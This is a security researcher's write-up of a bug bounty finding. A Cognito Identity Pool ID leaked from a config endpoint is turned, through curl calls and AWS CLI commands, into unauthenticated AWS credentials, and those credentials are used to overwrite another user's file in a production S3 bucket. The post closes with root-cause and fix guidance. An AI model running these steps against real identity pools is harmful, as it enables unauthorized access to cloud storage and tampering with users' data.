What Can You Do With a Leaked Cognito Identity Pool ID?

Leaking a Cognito Identity Pool ID is often dismissed as a low-impact information disclosure. But when the IAM policy attached to the unauthenticated role is misconfigured, that "low-impact" leak becomes a direct path into the cloud infrastructure.

What is AWS Cognito Identity Pool?

AWS Cognito Identity Pools allow applications to grant users temporary AWS credentials, even before they log in. This is useful for mobile apps that need limited S3 access for things like uploading profile pictures without requiring a full authentication flow first.

The problem? Developers often configure overly permissive IAM policies for the "unauthenticated" role, assuming the Identity Pool ID itself is secret. It's not. These IDs frequently leak through:

• Public API responses (config endpoints, mobile app settings)

• JavaScript bundles and source maps

• Mobile app reverse engineering

• Error messages and debug logs

Once an attacker has the Identity Pool ID, they can request temporary AWS credentials directly from Cognito, no authentication required. What happens next depends entirely on what permissions that unauthenticated role has.

The Discovery

I was mapping out the API surface of [Redacted Corp] when I noticed a config endpoint returning more than it should:

GET /api/v1/config HTTP/2
Host: api.redacted-corp.com

Buried in the response:

{
  "storage": {
    "bucket": "prod-redacted-uploads",
    "region": "us-east-1",
    "identity_pool": "us-east-1:a1b2c3d4-e5f6-7890-abcd-ef1234567890"
  }
}

A Cognito Identity Pool ID. Exposed. Unauthenticated.

The Exploitation

Step 1: Getting an Identity

curl -X POST "https://cognito-identity.us-east-1.amazonaws.com/" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -H "X-Amz-Target: AWSCognitoIdentityService.GetId" \
  -d '{"IdentityPoolId":"us-east-1:a1b2c3d4-e5f6-7890-abcd-ef1234567890"}'

{
  "IdentityId": "us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}

Step 2: Getting AWS Credentials

curl -X POST "https://cognito-identity.us-east-1.amazonaws.com/" \
  -H "Content-Type: application/x-amz-json-1.1" \
  -H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" \
  -d '{"IdentityId":"us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}'

{
  "Credentials": {
    "AccessKeyId": "ASIAREDACTEDKEY...",
    "SecretKey": "RedactedSecretKey...",
    "SessionToken": "FwoGZXIvYXdzE..."
  },
  "IdentityId": "us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}

Valid AWS credentials. No authentication required.

Step 3: Identifying the Role

aws sts get-caller-identity

{
  "UserId": "AROAREDACTED:CognitoIdentityCredentials",
  "Account": "123456789012",
  "Arn": "arn:aws:sts::123456789012:assumed-role/Cognito_redacted_Unauth_Role/CognitoIdentityCredentials"
}

Cognito_redacted_Unauth_Role - the unauthenticated role. Now let's see what it can do.

Step 4: Testing S3 Permissions

echo 'security test' > test.txt
aws s3 cp test.txt s3://prod-redacted-uploads/security-test.txt

upload: ./test.txt to s3://prod-redacted-uploads/security-test.txt

Write access to a production bucket. No auth. No session. Just an exposed Identity Pool ID.

Escalating the Impact

Writing a test file proves the vulnerability exists. But what's the real-world impact?

Overwriting Other Users' Files

I created two test accounts, Account A and Account B.

Account A uploaded a document through the normal application flow:

[UserID_A]_document.pdf

Account B obtained fresh Cognito credentials (unauthenticated) and overwrote Account A's file:

echo 'This file has been overwritten - security test' > malicious.pdf
aws s3 cp malicious.pdf s3://prod-redacted-uploads/[UserID_A]_document.pdf

upload: ./malicious.pdf to s3://prod-redacted-uploads/[UserID_A]_document.pdf

Logged back into Account A, downloaded the document > got the overwritten file.

Impact

With this access, an attacker could:

• Replace documents with malicious files - swap insurance claims with malware

• Corrupt user data - overwrite files to cause application errors

• Inject content into workflows - replace documents reviewed by staff

• Denial of service - mass-overwrite files across the platform

Root Cause

1. Exposed Configuration - /api/v1/config leaked the Cognito Identity Pool ID publicly

2. Unauthenticated Identities Enabled - legitimate for some mobile use cases, dangerous when paired with bad IAM

3. Overly Permissive IAM - s3:PutObject on arn:aws:s3:::prod-redacted-uploads/* with no path restrictions

Fix:

• Remove identity pool ID from public responses

• Restrict IAM to user-specific prefixes: uploads/${cognito-identity.amazonaws.com:sub}/*

• Server-side ownership validation on all file operations

Takeaways

• Config endpoints leak more than you think - always check /config, /settings, /health, etc.

• Cognito Identity Pool IDs are worth testing - if unauth is enabled, you get free AWS creds

• Don't stop at "I can write" - proving cross-user impact turns medium into critical

• IAM is hard - s3:PutObject on * is more common than it should be

Happy hacking!

-Hacktus